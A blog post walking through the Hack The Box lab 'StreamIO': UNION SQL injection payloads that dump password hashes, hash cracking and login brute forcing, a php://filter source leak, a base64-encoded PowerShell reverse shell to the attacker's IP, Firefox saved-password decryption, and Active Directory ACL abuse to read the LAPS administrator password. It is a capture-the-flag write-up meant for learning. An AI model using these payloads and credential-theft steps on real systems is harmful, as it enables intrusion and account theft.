DEV Community

nekohige
nekohige

Posted on

HTB - StreamIO Writeup - no Metasploit

#htb #security #ctf

Summary

  • There was a SQL injection vulnerability on the site, which allowed me to obtain user credentials.
  • A debug page had been left exposed, and it allowed for Remote Code Execution, which let me obtain a shell.
  • Using BloodHound, I found that JDgodd had WriteOwner permissions over Core Staff, and Core Staff had ReadLAPSPassword permissions over the DC. This allowed me to add JDgodd as a member of the Core Staff group and read the DC’s local administrator password via LAPS, which revealed the Administrator password and let me obtain a root shell. #### Recommendation
  • Use parameterized queries/placeholders to eliminate the SQL injection vulnerability.
  • Disable or remove debug pages that should only be used in development environments.

- Review and remove unnecessary group nesting that grants service accounts excessive privileges, and regularly audit ACLs for dangerous rights granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports using nmap. I usually take the following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.63.72
Enter fullscreen mode Exit fullscreen mode 


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.63.72
Enter fullscreen mode Exit fullscreen mode

Ports 135(RPC), 139(NetBIOS/SMB), and 445(SMB) are open while 53(DNS), 389(LDAP) and 88(Kerberos) are open. This suggests a Windows machine having an Active Directory domain.
Also, ports 80 (HTTP) and 443 (HTTPS) are open, so there’s likely a web application running.
The following domain names are revealed, streamIO.htb and watch.streamIO.htb.

No interesting UDPs.

Let' check the domain info.

dig @10.129.63.72 streamIO.htb any
Enter fullscreen mode Exit fullscreen mode 


dig @10.129.63.72 watch.streamIO.htb any
Enter fullscreen mode Exit fullscreen mode

DC name is revealed, dc.streamio.htb.

Add the mapping between domains and IP to /etc/hosts.

echo "10.129.63.72 streamIO.htb watch.streamIO.htb dc.streamio.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Since it's a Windows machine with Active Directory domain, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.63.72 -u '' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

Nothing special.

nxc smb 10.129.63.72 -u 'guest' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

Nothing special.

Let's enumerate pages on Port 80(HTTP).
http://streamio.htb/

Not very interesting.

Not very interesting.

feroxbuster -u http://streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak
Enter fullscreen mode Exit fullscreen mode

Nothing special.

feroxbuster -u http://watch.streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak
Enter fullscreen mode Exit fullscreen mode

Nothing special.

Next, let's enumerate pages on Port 443(HTTPS).

feroxbuster -u https://streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak --insecure
Enter fullscreen mode Exit fullscreen mode

https://streamio.htb/

There are names of employees. These might be usernames for this machine.

There is a login page. https://streamio.htb/login.php

We can create a new account but not able to login. https://streamio.htb/register.php

It seems interesting. https://streamio.htb/ADMIN/master.php


feroxbuster -u https://watch.streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak --insecure
Enter fullscreen mode Exit fullscreen mode

There is a page. https://watch.streamio.htb/

A different page appears.

Exploitation

This looks like a classic SQLi target, https://watch.streamio.htb/search.php

I tried the following inputs, and they returned different results, which suggests the page is vulnerable to SQLi.

1'
1' --+
Enter fullscreen mode Exit fullscreen mode

Also, ' OR 1=1 --+ returned Malicious Activity detected!! Session Blocked for 5 minutes. So, some commands are restricted.

Next, I tried -1' UNION SELECT 1,2,... --+ with varying numbers of columns, and found that the page behaved differently (worked correctly) when the input was -1' UNION SELECT 1,2,3,4,5,6 --+. > This suggests there are 6 columns on this page, and column number 2 must be the movie name, which can be used for displaying the content of db.

I enumerated as follows.

-1' UNION SELECT 1, TABLE_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.TABLES --+
Enter fullscreen mode Exit fullscreen mode

There are two tables, movies and users.

-1' UNION SELECT 1, COLUMN_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.COLUMNS --+
Enter fullscreen mode Exit fullscreen mode

Interesting column names found, username and password.

-1' UNION SELECT 1, username, 3, 4, 5, 6 FROM users --+
Enter fullscreen mode Exit fullscreen mode

Usernames are revealed.

echo '
admin
Alexendra
Austin
Barbra
Barry
Baxter
Bruno
Carmon
Clara
Diablo
Garfield
Gloria
James
Juliette
Lauren
Lenord
Lucifer
Michelle
Oliver
Robert
Robin
Sabrina
Samantha
Stan
test
Thane
Theodore
Victor
Victoria
William
yoshihide' > users.txt
Enter fullscreen mode Exit fullscreen mode 


-1' UNION SELECT 1, password, 3, 4, 5, 6 FROM users --+
Enter fullscreen mode Exit fullscreen mode

Passwords are revealed.

echo '
0049ac57646627b8d7aeaccf8b6a936f
08344b85b329d7efd611b7a7743e8a09
083ffae904143c4796e464dac33c1f7d
098f6bcd4621d373cade4e832627b4f6
0cfaaaafb559f081df2befbe66686de0
1c2b3d8270321140e5153f6637d3ee53
22ee218331afd081b0dcd8115284bae3
2a4e2cf22dd8fcb45adcb91be1e22ae8
35394484d89fcfdb3c5e447fe749d213
3577c47eb1e12c8ba021611e1280753c
384463526d288edcc95fc3701e523bc7
3961548825e3e21df5646cafe11c6c76
54c88b2dbd7b1a84012fabc1a4c73415
665a50ac9eaa781e4f7f04199db97a11
6dcd87740abb64edfa36d170f0d5450d
7df45a9e3de3863807c026ba48e55fb3
8097cedd612cc37c29db152b6e9edbd3
925e5408ecb67aea449373d668b7359e
b22abb47a02b52d5dfa27fb0b534f693
b779ba15cedfd22a023c4d8bcf5f2332
b83439b16f844bd6ffe35c02fe21b3c0
bf55e15b119860a6e6b5a164377da719
c660060492d9edcaa8332d89c99c9239
d62be0dc82071bccc1322d64ec5b6c51
dc332fb5576e9631c9dae83f194f8e70
ec33265e5fc8c2f1b0c137bb7b3632b5
ee0b8a0937abd60c2882eacb2f8dc49f
ef8f3d30a856cf166fb8215aca93e9ff
f03b910e2bd0313a23fdd7575f34a694
f87d3c0d6c8fd686aacc6627f1f493a5
fd78db29173a5cf701bd69027cb9bf6b' >passwords.txt
Enter fullscreen mode Exit fullscreen mode

The found passwords look like hashes. Let's crack the passwords.

hashcat passwords.txt
Enter fullscreen mode Exit fullscreen mode

There are many matches for hash-modes. Let's start with MD5.

hashcat -m 0 passwords.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Cracked!

echo 'highschoolmusical
test
physics69i
paddpadd
66boysandgirls..
%$clara
$monique$1991$
$hadoW
$3xybitch
##123a8j8w5123##
!?Love?!123
!5psycho8!
!!sabrina$' > cracked.txt
Enter fullscreen mode Exit fullscreen mode

Next, I use SMB to look for a valid username and password combination:

nxc smb 10.129.63.72 -u users.txt -p cracked.txt
Enter fullscreen mode Exit fullscreen mode

Nothing revealed.

I use the login form to figure out which username/password combination is valid next.

hydra -L users.txt -P cracked.txt -S streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"
Enter fullscreen mode Exit fullscreen mode

Found! yoshihide:66boysandgirls..

After logging in, this page looks different: https://streamio.htb/ADMIN/ .

Let’s check whether there are any other pages.

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u "https://streamio.htb/ADMIN/?FUZZ=" -b "PHPSESSID=juc21q6fjb7aop5h6b4s7rr3u4" -fs 1678
Enter fullscreen mode Exit fullscreen mode

The page: https://streamio.htb/ADMIN/?debug= exists as follows.

Let me try entering master.php, which came up earlier. I got a response back, but nothing looks particularly unusual.
https://streamio.htb/ADMIN/?debug=master.php

As a test, I try extracting the source code using the php:// wrapper.
https://streamio.htb/ADMIN/?debug=php://filter/convert.base64-encode/resource=master.php

Let's use CyberChef to decode the source: https://gchq.github.io/CyberChef/.

It shows there is a dangerous code eval(file_get_contents($_POST['include']));.

Let's try using it.

It shows streamio\yoshihide. It works!

Let's use Reverse Shell Generator to get a reverse shell, https://www.revshells.com/.


echo 'system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA3AC4AMQA1ADMAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");' > reverse

python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode 


nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

It works!

While checking the contents on the machine, I found 2 credentials for DB.

cat C:\inetpub\streamio.htb\register.php
Enter fullscreen mode Exit fullscreen mode

db_admin:B1@hx31234567890

cat C:\inetpub\streamio.htb\register.php
Enter fullscreen mode Exit fullscreen mode

db_user:B1@hB1@hB1@h

Let’s use the credentials to check whether there is any more information.

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "EXEC xp_cmdshell 'whoami'"
Enter fullscreen mode Exit fullscreen mode

The credential works. Let's try to check the contents.

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT name FROM sys.databases;"
Enter fullscreen mode Exit fullscreen mode

streamio_backup sounds interesting.

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT * FROM streamio_backup.INFORMATION_SCHEMA.TABLES;"
Enter fullscreen mode Exit fullscreen mode 


sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT * FROM streamio_backup.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'"
Enter fullscreen mode Exit fullscreen mode 


sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT id, username, password FROM streamio_backup.dbo.users;"
Enter fullscreen mode Exit fullscreen mode

We found new credentials!

Let's make username file and crack the password hashes.

echo 'nikk37
yoshihide
James
Theodore
Samantha
Lauren
William
Sabrina' > user2.txt
Enter fullscreen mode Exit fullscreen mode 


echo '389d14cb8e4e9b94b137deb1caf0612a
b779ba15cedfd22a023c4d8bcf5f2332
c660060492d9edcaa8332d89c99c9239
925e5408ecb67aea449373d668b7359e
083ffae904143c4796e464dac33c1f7d
08344b85b329d7efd611b7a7743e8a09
d62be0dc82071bccc1322d64ec5b6c51
f87d3c0d6c8fd686aacc6627f1f493a5' > pass2.txt
Enter fullscreen mode Exit fullscreen mode 


hashcat pass2.txt
Enter fullscreen mode Exit fullscreen mode 


hashcat -m 0 pass2.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Cracked!

So, let’s find a valid combination for logging into the Windows machine.

echo 'get_dem_girls2@yahoo.com
66boysandgirls..
##123a8j8w5123##
!!sabrina$' > cracked2.txt
Enter fullscreen mode Exit fullscreen mode 


nxc smb 10.129.63.72 -u user2.txt -p cracked2.txt --continue-on-success
Enter fullscreen mode Exit fullscreen mode

Yes! nikk37:get_dem_girls2@yahoo.com is the valid credential.

Let's check what the credential can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.63.72 -u 'nikk37' -p 'get_dem_girls2@yahoo.com' $a; done; done; for p in ssh ftp; do nxc $p 10.129.63.72 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'; done
Enter fullscreen mode Exit fullscreen mode

WINRM is available.

evil-winrm -i 10.129.63.72 -u nikk37 -p get_dem_girls2@yahoo.com
type C:\Users\nikk37\Desktop\user.txt
Enter fullscreen mode Exit fullscreen mode

We got user.txt!

Privilege Escalation

I checked the all information of login user, nikk37.

whoami /all
Enter fullscreen mode Exit fullscreen mode

Nothing special.

After enumerating the folders and files, I couldn’t find a foothold for privilege escalation, so I ran winPEAS.

upload winPEASx64.exe
.\winPEASx64.exe
Enter fullscreen mode Exit fullscreen mode

At the same time, I ran BloodHound to look for any path to privilege escalation (PE), given the environment is an Active Directory domain.

nxc ldap 10.129.63.72 -u nikk37 -p 'get_dem_girls2@yahoo.com' --bloodhound --collection All --dns-server 10.129.63.72 && mv ~/.nxc/logs/*bloodhound.zip .
Enter fullscreen mode Exit fullscreen mode

However, nothing interesting.

After reading Task 14 of Guided Mode, I understand that there is an encrypted passwords stored in FireFox.
So I downloaded the files as follows.

download logins.json
download logins-backup.json
download key4.db
download cert9.db
Enter fullscreen mode Exit fullscreen mode

Let's crack it.

git clone https://github.com/unode/firefox_decrypt
Enter fullscreen mode Exit fullscreen mode 


 mkdir firefox_decrypt/profile
 mv key4.db logins-backup.json logins.json firefox_decrypt/profile
 mv cert9.db firefox_decrypt/profile
Enter fullscreen mode Exit fullscreen mode 


cd firefox_decrypt
Enter fullscreen mode Exit fullscreen mode 


python3 firefox_decrypt.py profile
Enter fullscreen mode Exit fullscreen mode

New credentials!
admin:JDg0dd1s@d0p3cr3@t0r
JDgodd:password@12

After several attempts, the true credential was revealed JDgodd:JDg0dd1s@d0p3cr3@t0r.

However, I could not login to shell.

I started BloodHound.

nxc ldap 10.129.63.255 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --bloodhound --collection All --dns-server 10.129.63.255 && mv ~/.nxc/logs/*bloodhound.zip .
Enter fullscreen mode Exit fullscreen mode

There is a way to become Administrator.

Let’s add JDgodd as a member of the Core Staff group and read the DC’s local administrator password via LAPS.


impacket-owneredit -action write -new-owner 'JDgodd' -target 'Core Staff' 'streamIO.htb/JDgodd:JDg0dd1s@d0p3cr3@t0r' -dc-ip 10.129.63.255
Enter fullscreen mode Exit fullscreen mode 


impacket-dacledit -action write -rights FullControl -principal JDgodd -target 'CORE STAFF' 'streamIO.htb/JDgodd:JDg0dd1s@d0p3cr3@t0r' -dc-ip 10.129.63.255
Enter fullscreen mode Exit fullscreen mode 


 net rpc group addmem "CORE STAFF" "JDgodd" -U "streamIO.htb/JDgodd%JDg0dd1s@d0p3cr3@t0r" -S 10.129.63.255
Enter fullscreen mode Exit fullscreen mode 


bloodyAD --host 10.129.63.255 -d streamIO.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
Enter fullscreen mode Exit fullscreen mode

We got the password for Administrator.

Let's check what service we can use.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.63.255 -u 'Administrator' -p '5;hD(0]lFF;THw' $a; done; done; for p in ssh ftp; do nxc $p 10.129.63.255 -u 'Administrator' -p '5;hD(0]lFF;THw'; done
Enter fullscreen mode Exit fullscreen mode 


evil-winrm -i 10.129.63.255 -u Administrator -p '5;hD(0]lFF;THw'
Enter fullscreen mode Exit fullscreen mode 


Get-ChildItem C:\Users -R -Force -Filter *.txt -EA 0 | ? Name -match 'flag|proof|local|root|user'
Enter fullscreen mode Exit fullscreen mode 


type C:\Users\Martin\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Hooray!

Lessons Learned

  • On Windows, using ls -Force lets you see hidden files and folders as well.
  • For Firefox, if you download logins.json, key4.db, and cert9.db, you can decrypt the saved passwords.
  • With BloodHound, sometimes nothing shows up on the first run, but results can appear on a second run.

Top comments (0)